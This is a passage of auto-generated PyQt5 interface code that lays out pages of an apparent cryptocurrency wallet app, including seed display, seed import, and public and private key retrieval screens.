self.frame_111.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_111.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_111.setObjectName("frame_111")
self.gridLayout_147 = QtWidgets.QGridLayout(self.frame_111)
self.gridLayout_147.setObjectName("gridLayout_147")
self.label_89 = QtWidgets.QLabel(self.frame_111)
font = QtGui.QFont()
font.setPointSize(15)
self.label_89.setFont(font)
self.label_89.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_89.setObjectName("label_89")
self.gridLayout_147.addWidget(self.label_89, 0, 0, 1, 1)
self.gridLayout_145.addWidget(self.frame_111, 2, 0, 1, 1)
spacerItem9 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_145.addItem(spacerItem9, 7, 0, 1, 1)
self.gridLayout_144.addWidget(self.groupBox_23, 0, 0, 1, 1)
self.gridLayout_143.addWidget(self.frame_109, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.wllt_done_page)
self.get_seed_page = QtWidgets.QWidget()
self.get_seed_page.setObjectName("get_seed_page")
self.gridLayout_14 = QtWidgets.QGridLayout(self.get_seed_page)
self.gridLayout_14.setObjectName("gridLayout_14")
self.frame_122 = QtWidgets.QFrame(self.get_seed_page)
self.frame_122.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_122.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_122.setObjectName("frame_122")
self.gridLayout_157 = QtWidgets.QGridLayout(self.frame_122)
self.gridLayout_157.setObjectName("gridLayout_157")
self.groupBox_26 = QtWidgets.QGroupBox(self.frame_122)
self.groupBox_26.setTitle("")
self.groupBox_26.setObjectName("groupBox_26")
self.gridLayout_15 = QtWidgets.QGridLayout(self.groupBox_26)
self.gridLayout_15.setObjectName("gridLayout_15")
self.frame_124 = QtWidgets.QFrame(self.groupBox_26)
self.frame_124.setMinimumSize(QtCore.QSize(0, 65))
self.frame_124.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_124.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_124.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_124.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_124.setObjectName("frame_124")
self.gridLayout_162 = QtWidgets.QGridLayout(self.frame_124)
self.gridLayout_162.setObjectName("gridLayout_162")
self.label_98 = QtWidgets.QLabel(self.frame_124)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_98.setFont(font)
self.label_98.setStyleSheet("")
self.label_98.setObjectName("label_98")
self.gridLayout_162.addWidget(self.label_98, 0, 0, 1, 1)
self.gridLayout_15.addWidget(self.frame_124, 0, 0, 1, 1)
self.frame_125 = QtWidgets.QFrame(self.groupBox_26)
self.frame_125.setMinimumSize(QtCore.QSize(0, 70))
self.frame_125.setMaximumSize(QtCore.QSize(16777215, 70))
self.frame_125.setStyleSheet("border-radius:4px;\n"
"")
self.frame_125.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_125.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_125.setObjectName("frame_125")
self.gridLayout_163 = QtWidgets.QGridLayout(self.frame_125)
self.gridLayout_163.setObjectName("gridLayout_163")
self.label_99 = QtWidgets.QLabel(self.frame_125)
font = QtGui.QFont()
font.setPointSize(15)
self.label_99.setFont(font)
self.label_99.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_99.setWordWrap(True)
self.label_99.setObjectName("label_99")
self.gridLayout_163.addWidget(self.label_99, 0, 0, 1, 1)
self.gridLayout_15.addWidget(self.frame_125, 2, 0, 1, 1)
self.line_29 = QtWidgets.QFrame(self.groupBox_26)
self.line_29.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_29.setFrameShape(QtWidgets.QFrame.HLine)
self.line_29.setObjectName("line_29")
self.gridLayout_15.addWidget(self.line_29, 1, 0, 1, 1)
self.frame_123 = QtWidgets.QFrame(self.groupBox_26)
self.frame_123.setMinimumSize(QtCore.QSize(0, 250))
self.frame_123.setMaximumSize(QtCore.QSize(16777215, 250))
self.frame_123.setStyleSheet("border-radius:4px;")
self.frame_123.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_123.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_123.setObjectName("frame_123")
self.gridLayout_159 = QtWidgets.QGridLayout(self.frame_123)
self.gridLayout_159.setObjectName("gridLayout_159")
self.label_95 = QtWidgets.QLabel(self.frame_123)
self.label_95.setMinimumSize(QtCore.QSize(80, 0))
self.label_95.setMaximumSize(QtCore.QSize(120, 16777215))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_95.setFont(font)
self.label_95.setStyleSheet("")
self.label_95.setObjectName("label_95")
self.gridLayout_159.addWidget(self.label_95, 0, 0, 1, 1)
self.seed_txt_2 = QtWidgets.QTextEdit(self.frame_123)
self.seed_txt_2.setMinimumSize(QtCore.QSize(0, 200))
self.seed_txt_2.setMaximumSize(QtCore.QSize(16777215, 200))
font = QtGui.QFont()
font.setFamily("Futura")
self.seed_txt_2.setFont(font)
self.seed_txt_2.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.seed_txt_2.setObjectName("seed_txt_2")
self.gridLayout_159.addWidget(self.seed_txt_2, 0, 1, 1, 1)
self.gridLayout_15.addWidget(self.frame_123, 3, 0, 1, 1)
spacerItem10 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_15.addItem(spacerItem10, 4, 0, 1, 1)
self.gridLayout_157.addWidget(self.groupBox_26, 0, 0, 1, 1)
spacerItem11 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_157.addItem(spacerItem11, 1, 0, 1, 1)
self.gridLayout_14.addWidget(self.frame_122, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.get_seed_page)
self.imprt_seed_page = QtWidgets.QWidget()
self.imprt_seed_page.setObjectName("imprt_seed_page")
self.gridLayout_136 = QtWidgets.QGridLayout(self.imprt_seed_page)
self.gridLayout_136.setObjectName("gridLayout_136")
self.frame_104 = QtWidgets.QFrame(self.imprt_seed_page)
self.frame_104.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_104.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_104.setObjectName("frame_104")
self.gridLayout_137 = QtWidgets.QGridLayout(self.frame_104)
self.gridLayout_137.setObjectName("gridLayout_137")
self.groupBox_22 = QtWidgets.QGroupBox(self.frame_104)
self.groupBox_22.setTitle("")
self.groupBox_22.setObjectName("groupBox_22")
self.gridLayout_138 = QtWidgets.QGridLayout(self.groupBox_22)
self.gridLayout_138.setObjectName("gridLayout_138")
self.frame_107 = QtWidgets.QFrame(self.groupBox_22)
self.frame_107.setMinimumSize(QtCore.QSize(0, 65))
self.frame_107.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_107.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_107.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_107.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_107.setObjectName("frame_107")
self.gridLayout_139 = QtWidgets.QGridLayout(self.frame_107)
self.gridLayout_139.setObjectName("gridLayout_139")
self.label_86 = QtWidgets.QLabel(self.frame_107)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_86.setFont(font)
self.label_86.setStyleSheet("")
self.label_86.setObjectName("label_86")
self.gridLayout_139.addWidget(self.label_86, 0, 0, 1, 1)
self.gridLayout_138.addWidget(self.frame_107, 0, 0, 1, 1)
self.frame_106 = QtWidgets.QFrame(self.groupBox_22)
self.frame_106.setMinimumSize(QtCore.QSize(0, 250))
self.frame_106.setMaximumSize(QtCore.QSize(16777215, 250))
self.frame_106.setStyleSheet("border-radius:4px;\n"
"")
self.frame_106.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_106.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_106.setObjectName("frame_106")
self.gridLayout_141 = QtWidgets.QGridLayout(self.frame_106)
self.gridLayout_141.setObjectName("gridLayout_141")
self.imprt_seed_txt = QtWidgets.QTextEdit(self.frame_106)
self.imprt_seed_txt.setMinimumSize(QtCore.QSize(0, 150))
self.imprt_seed_txt.setMaximumSize(QtCore.QSize(16777215, 150))
font = QtGui.QFont()
font.setFamily("Futura")
self.imprt_seed_txt.setFont(font)
self.imprt_seed_txt.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.imprt_seed_txt.setFrameShape(QtWidgets.QFrame.NoFrame)
self.imprt_seed_txt.setObjectName("imprt_seed_txt")
self.gridLayout_141.addWidget(self.imprt_seed_txt, 1, 1, 1, 1)
self.label_88 = QtWidgets.QLabel(self.frame_106)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_88.setFont(font)
self.label_88.setStyleSheet("")
self.label_88.setObjectName("label_88")
self.gridLayout_141.addWidget(self.label_88, 1, 0, 1, 1)
self.old_pass_line = QtWidgets.QLineEdit(self.frame_106)
self.old_pass_line.setMinimumSize(QtCore.QSize(0, 40))
self.old_pass_line.setMaximumSize(QtCore.QSize(16777215, 30))
font = QtGui.QFont()
font.setFamily("Futura")
self.old_pass_line.setFont(font)
self.old_pass_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.old_pass_line.setEchoMode(QtWidgets.QLineEdit.Password)
self.old_pass_line.setObjectName("old_pass_line")
self.gridLayout_141.addWidget(self.old_pass_line, 2, 1, 1, 1)
self.label_96 = QtWidgets.QLabel(self.frame_106)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_96.setFont(font)
self.label_96.setStyleSheet("")
self.label_96.setObjectName("label_96")
self.gridLayout_141.addWidget(self.label_96, 2, 0, 1, 1)
self.gridLayout_138.addWidget(self.frame_106, 3, 0, 1, 1)
self.line_28 = QtWidgets.QFrame(self.groupBox_22)
self.line_28.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_28.setFrameShape(QtWidgets.QFrame.HLine)
self.line_28.setObjectName("line_28")
self.gridLayout_138.addWidget(self.line_28, 1, 0, 1, 1)
self.frame_108 = QtWidgets.QFrame(self.groupBox_22)
self.frame_108.setMinimumSize(QtCore.QSize(0, 80))
self.frame_108.setMaximumSize(QtCore.QSize(16777215, 80))
self.frame_108.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_108.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_108.setObjectName("frame_108")
self.gridLayout_142 = QtWidgets.QGridLayout(self.frame_108)
self.gridLayout_142.setObjectName("gridLayout_142")
self.seed_next_btn = QtWidgets.QPushButton(self.frame_108)
self.seed_next_btn.setObjectName("seed_next_btn")
self.gridLayout_142.addWidget(self.seed_next_btn, 0, 0, 1, 1)
self.no_seed_next_btn = QtWidgets.QPushButton(self.frame_108)
self.no_seed_next_btn.setObjectName("no_seed_next_btn")
self.gridLayout_142.addWidget(self.no_seed_next_btn, 0, 1, 1, 1)
self.gridLayout_138.addWidget(self.frame_108, 5, 0, 1, 1)
self.frame_105 = QtWidgets.QFrame(self.groupBox_22)
self.frame_105.setMinimumSize(QtCore.QSize(0, 100))
self.frame_105.setMaximumSize(QtCore.QSize(16777215, 100))
self.frame_105.setStyleSheet("border-radius: 4px;")
self.frame_105.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_105.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_105.setObjectName("frame_105")
self.gridLayout_140 = QtWidgets.QGridLayout(self.frame_105)
self.gridLayout_140.setObjectName("gridLayout_140")
self.label_87 = QtWidgets.QLabel(self.frame_105)
self.label_87.setMinimumSize(QtCore.QSize(0, 36))
self.label_87.setMaximumSize(QtCore.QSize(16777215, 36))
font = QtGui.QFont()
font.setPointSize(15)
self.label_87.setFont(font)
self.label_87.setStyleSheet("")
self.label_87.setWordWrap(True)
self.label_87.setObjectName("label_87")
self.gridLayout_140.addWidget(self.label_87, 0, 0, 1, 1)
self.gridLayout_138.addWidget(self.frame_105, 2, 0, 1, 1)
self.frame_121 = QtWidgets.QFrame(self.groupBox_22)
self.frame_121.setMinimumSize(QtCore.QSize(0, 40))
self.frame_121.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_121.setStyleSheet("border-radius: 4px;")
self.frame_121.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_121.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_121.setObjectName("frame_121")
self.gridLayout_161 = QtWidgets.QGridLayout(self.frame_121)
self.gridLayout_161.setObjectName("gridLayout_161")
self.label_97 = QtWidgets.QLabel(self.frame_121)
font = QtGui.QFont()
font.setPointSize(15)
self.label_97.setFont(font)
self.label_97.setStyleSheet("")
self.label_97.setObjectName("label_97")
self.gridLayout_161.addWidget(self.label_97, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_138.addWidget(self.frame_121, 4, 0, 1, 1)
spacerItem12 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_138.addItem(spacerItem12, 6, 0, 1, 1)
self.gridLayout_137.addWidget(self.groupBox_22, 0, 0, 1, 1)
self.gridLayout_136.addWidget(self.frame_104, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.imprt_seed_page)
self.pubkey_page = QtWidgets.QWidget()
self.pubkey_page.setObjectName("pubkey_page")
self.gridLayout_61 = QtWidgets.QGridLayout(self.pubkey_page)
self.gridLayout_61.setObjectName("gridLayout_61")
self.frame_42 = QtWidgets.QFrame(self.pubkey_page)
self.frame_42.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_42.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_42.setObjectName("frame_42")
self.gridLayout_75 = QtWidgets.QGridLayout(self.frame_42)
self.gridLayout_75.setObjectName("gridLayout_75")
self.groupBox_14 = QtWidgets.QGroupBox(self.frame_42)
self.groupBox_14.setTitle("")
self.groupBox_14.setObjectName("groupBox_14")
self.gridLayout_76 = QtWidgets.QGridLayout(self.groupBox_14)
self.gridLayout_76.setObjectName("gridLayout_76")
self.frame_56 = QtWidgets.QFrame(self.groupBox_14)
self.frame_56.setMinimumSize(QtCore.QSize(0, 65))
self.frame_56.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_56.setStyleSheet("border-radius: 3px;\n"
"QFrame#frame_56{border-radius: 3px;}\n"
"")
self.frame_56.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_56.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_56.setObjectName("frame_56")
self.gridLayout_79 = QtWidgets.QGridLayout(self.frame_56)
self.gridLayout_79.setObjectName("gridLayout_79")
self.label_38 = QtWidgets.QLabel(self.frame_56)
self.label_38.setMinimumSize(QtCore.QSize(125, 0))
self.label_38.setMaximumSize(QtCore.QSize(125, 16777215))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_38.setFont(font)
self.label_38.setStyleSheet("")
self.label_38.setObjectName("label_38")
self.gridLayout_79.addWidget(self.label_38, 0, 0, 1, 1)
self.addr_combo = QtWidgets.QComboBox(self.frame_56)
self.addr_combo.setMinimumSize(QtCore.QSize(0, 35))
self.addr_combo.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.addr_combo.setFont(font)
self.addr_combo.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.addr_combo.setObjectName("addr_combo")
self.addr_combo.addItem("")
self.gridLayout_79.addWidget(self.addr_combo, 0, 1, 1, 1)
self.gridLayout_76.addWidget(self.frame_56, 3, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.frame_55 = QtWidgets.QFrame(self.groupBox_14)
self.frame_55.setMinimumSize(QtCore.QSize(0, 65))
self.frame_55.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_55.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_55.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_55.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_55.setObjectName("frame_55")
self.gridLayout_77 = QtWidgets.QGridLayout(self.frame_55)
self.gridLayout_77.setObjectName("gridLayout_77")
self.label_36 = QtWidgets.QLabel(self.frame_55)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_36.setFont(font)
self.label_36.setStyleSheet("")
self.label_36.setObjectName("label_36")
self.gridLayout_77.addWidget(self.label_36, 0, 0, 1, 1)
self.gridLayout_76.addWidget(self.frame_55, 0, 0, 1, 1)
self.frame_58 = QtWidgets.QFrame(self.groupBox_14)
self.frame_58.setMinimumSize(QtCore.QSize(0, 65))
self.frame_58.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_58.setStyleSheet("border-radius: 3px;\n"
"")
self.frame_58.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_58.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_58.setObjectName("frame_58")
self.gridLayout_80 = QtWidgets.QGridLayout(self.frame_58)
self.gridLayout_80.setObjectName("gridLayout_80")
self.label_39 = QtWidgets.QLabel(self.frame_58)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_39.setFont(font)
self.label_39.setStyleSheet("")
self.label_39.setObjectName("label_39")
self.gridLayout_80.addWidget(self.label_39, 0, 0, 1, 1)
self.pk_line = QtWidgets.QLineEdit(self.frame_58)
self.pk_line.setMinimumSize(QtCore.QSize(0, 35))
self.pk_line.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.pk_line.setFont(font)
self.pk_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.pk_line.setObjectName("pk_line")
self.gridLayout_80.addWidget(self.pk_line, 0, 1, 1, 1)
self.gridLayout_76.addWidget(self.frame_58, 5, 0, 1, 1)
self.rtr_pubk_btn = QtWidgets.QPushButton(self.groupBox_14)
self.rtr_pubk_btn.setObjectName("rtr_pubk_btn")
self.gridLayout_76.addWidget(self.rtr_pubk_btn, 4, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.line_16 = QtWidgets.QFrame(self.groupBox_14)
self.line_16.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_16.setFrameShape(QtWidgets.QFrame.HLine)
self.line_16.setObjectName("line_16")
self.gridLayout_76.addWidget(self.line_16, 1, 0, 1, 1)
self.frame_57 = QtWidgets.QFrame(self.groupBox_14)
self.frame_57.setMinimumSize(QtCore.QSize(0, 40))
self.frame_57.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_57.setStyleSheet("QFrame#frame_57{border-radius: 4px;}\n"
"")
self.frame_57.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_57.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_57.setObjectName("frame_57")
self.gridLayout_78 = QtWidgets.QGridLayout(self.frame_57)
self.gridLayout_78.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_78.setObjectName("gridLayout_78")
self.label_37 = QtWidgets.QLabel(self.frame_57)
font = QtGui.QFont()
font.setPointSize(15)
self.label_37.setFont(font)
self.label_37.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);\n"
"")
self.label_37.setIndent(0)
self.label_37.setObjectName("label_37")
self.gridLayout_78.addWidget(self.label_37, 0, 0, 1, 1)
self.gridLayout_76.addWidget(self.frame_57, 2, 0, 1, 1)
self.gridLayout_75.addWidget(self.groupBox_14, 0, 0, 1, 1)
spacerItem13 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_75.addItem(spacerItem13, 1, 0, 1, 1)
self.gridLayout_61.addWidget(self.frame_42, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.pubkey_page)
self.privkey_page = QtWidgets.QWidget()
self.privkey_page.setObjectName("privkey_page")
self.gridLayout_69 = QtWidgets.QGridLayout(self.privkey_page)
self.gridLayout_69.setObjectName("gridLayout_69")
self.frame_72 = QtWidgets.QFrame(self.privkey_page)
self.frame_72.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_72.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_72.setObjectName("frame_72")
self.gridLayout_70 = QtWidgets.QGridLayout(self.frame_72)
self.gridLayout_70.setObjectName("gridLayout_70")
self.groupBox_17 = QtWidgets.QGroupBox(self.frame_72)
self.groupBox_17.setTitle("")
self.groupBox_17.setObjectName("groupBox_17")
self.gridLayout_72 = QtWidgets.QGridLayout(self.groupBox_17)
self.gridLayout_72.setObjectName("gridLayout_72")
self.frame_76 = QtWidgets.QFrame(self.groupBox_17)
self.frame_76.setMinimumSize(QtCore.QSize(0, 65))
self.frame_76.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_76.setStyleSheet("border-radius: 4px;\n"
"")
self.frame_76.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_76.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_76.setObjectName("frame_76")
self.gridLayout_99 = QtWidgets.QGridLayout(self.frame_76)
self.gridLayout_99.setObjectName("gridLayout_99")
self.label_59 = QtWidgets.QLabel(self.frame_76)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_59.setFont(font)
self.label_59.setStyleSheet("")
self.label_59.setObjectName("label_59")
self.gridLayout_99.addWidget(self.label_59, 0, 0, 1, 1)
self.lineEdit_8 = QtWidgets.QLineEdit(self.frame_76)
self.lineEdit_8.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit_8.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_8.setFont(font)
self.lineEdit_8.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_8.setObjectName("lineEdit_8")
self.gridLayout_99.addWidget(self.lineEdit_8, 0, 1, 1, 1)
self.gridLayout_72.addWidget(self.frame_76, 5, 0, 1, 1)
self.rtr_prvk_btn = QtWidgets.QPushButton(self.groupBox_17)
self.rtr_prvk_btn.setObjectName("rtr_prvk_btn")
self.gridLayout_72.addWidget(self.rtr_prvk_btn, 4, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_74 = QtWidgets.QFrame(self.groupBox_17)
self.frame_74.setMinimumSize(QtCore.QSize(0, 40))
self.frame_74.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_74.setStyleSheet("border-radius: 4px;")
self.frame_74.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_74.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_74.setObjectName("frame_74")
self.gridLayout_97 = QtWidgets.QGridLayout(self.frame_74)
self.gridLayout_97.setObjectName("gridLayout_97")
self.label_57 = QtWidgets.QLabel(self.frame_74)
font = QtGui.QFont()
font.setPointSize(15)
self.label_57.setFont(font)
self.label_57.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_57.setObjectName("label_57")
self.gridLayout_97.addWidget(self.label_57, 0, 0, 1, 1)
self.gridLayout_72.addWidget(self.frame_74, 2, 0, 1, 1)
self.line_19 = QtWidgets.QFrame(self.groupBox_17)
self.line_19.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_19.setFrameShape(QtWidgets.QFrame.HLine)
self.line_19.setObjectName("line_19")
self.gridLayout_72.addWidget(self.line_19, 1, 0, 1, 1)
self.frame_73 = QtWidgets.QFrame(self.groupBox_17)
self.frame_73.setMinimumSize(QtCore.QSize(0, 65))
self.frame_73.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_73.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_73.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_73.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_73.setObjectName("frame_73")
self.gridLayout_96 = QtWidgets.QGridLayout(self.frame_73)
self.gridLayout_96.setObjectName("gridLayout_96")
self.label_56 = QtWidgets.QLabel(self.frame_73)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_56.setFont(font)
self.label_56.setStyleSheet("")
self.label_56.setObjectName("label_56")
self.gridLayout_96.addWidget(self.label_56, 0, 0, 1, 1)
self.gridLayout_72.addWidget(self.frame_73, 0, 0, 1, 1)
self.frame_75 = QtWidgets.QFrame(self.groupBox_17)
self.frame_75.setMinimumSize(QtCore.QSize(0, 65))
self.frame_75.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_75.setStyleSheet("border-radius: 3px;\n"
"QFrame#frame_56{border-radius: 3px;}\n"
"")
self.frame_75.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_75.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_75.setObjectName("frame_75")
self.gridLayout_98 = QtWidgets.QGridLayout(self.frame_75)
self.gridLayout_98.setObjectName("gridLayout_98")
self.label_58 = QtWidgets.QLabel(self.frame_75)
self.label_58.setMinimumSize(QtCore.QSize(125, 0))
self.label_58.setMaximumSize(QtCore.QSize(125, 16777215))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_58.setFont(font)
self.label_58.setStyleSheet("")
self.label_58.setObjectName("label_58")
self.gridLayout_98.addWidget(self.label_58, 0, 0, 1, 1)
self.comboBox_5 = QtWidgets.QComboBox(self.frame_75)
self.comboBox_5.setMinimumSize(QtCore.QSize(0, 35))
self.comboBox_5.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.comboBox_5.setFont(font)
self.comboBox_5.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.comboBox_5.setObjectName("comboBox_5")
self.comboBox_5.addItem("")
self.gridLayout_98.addWidget(self.comboBox_5, 0, 1, 1, 1)
self.gridLayout_72.addWidget(self.frame_75, 3, 0, 1, 1)
self.gridLayout_70.addWidget(self.groupBox_17, 0, 0, 1, 1)
spacerItem14 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_70.addItem(spacerItem14, 1, 0, 1, 1)
self.gridLayout_69.addWidget(self.frame_72, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.privkey_page)
self.import_page = QtWidgets.QWidget()
self.import_page.setObjectName("import_page")
self.gridLayout_62 = QtWidgets.QGridLayout(self.import_page)
self.gridLayout_62.setObjectName("gridLayout_62")
self.frame_43 = QtWidgets.QFrame(self.import_page)
self.frame_43.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_43.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_43.setObjectName("frame_43")
self.gridLayout_63 = QtWidgets.QGridLayout(self.frame_43)
self.gridLayout_63.setObjectName("gridLayout_63")
self.groupBox_13 = QtWidgets.QGroupBox(self.frame_43)
self.groupBox_13.setTitle("")
self.groupBox_13.setObjectName("groupBox_13")
self.gridLayout_64 = QtWidgets.QGridLayout(self.groupBox_13)
self.gridLayout_64.setObjectName("gridLayout_64")
self.line_15 = QtWidgets.QFrame(self.groupBox_13)
self.line_15.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_15.setFrameShape(QtWidgets.QFrame.HLine)
self.line_15.setObjectName("line_15")
self.gridLayout_64.addWidget(self.line_15, 1, 0, 1, 1)
self.frame_52 = QtWidgets.QFrame(self.groupBox_13)
self.frame_52.setMinimumSize(QtCore.QSize(0, 40))
self.frame_52.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_52.setStyleSheet("QFrame#frame_52{border-radius: 4px;}\n"
"")
self.frame_52.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_52.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_52.setObjectName("frame_52")
self.gridLayout_73 = QtWidgets.QGridLayout(self.frame_52)
self.gridLayout_73.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_73.setObjectName("gridLayout_73")
self.label_34 = QtWidgets.QLabel(self.frame_52)
font = QtGui.QFont()
font.setPointSize(15)
self.label_34.setFont(font)
self.label_34.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);\n"
"")
self.label_34.setIndent(0)
self.label_34.setObjectName("label_34")
self.gridLayout_73.addWidget(self.label_34, 0, 0, 1, 1)
self.gridLayout_64.addWidget(self.frame_52, 2, 0, 1, 1)
self.frame_44 = QtWidgets.QFrame(self.groupBox_13)
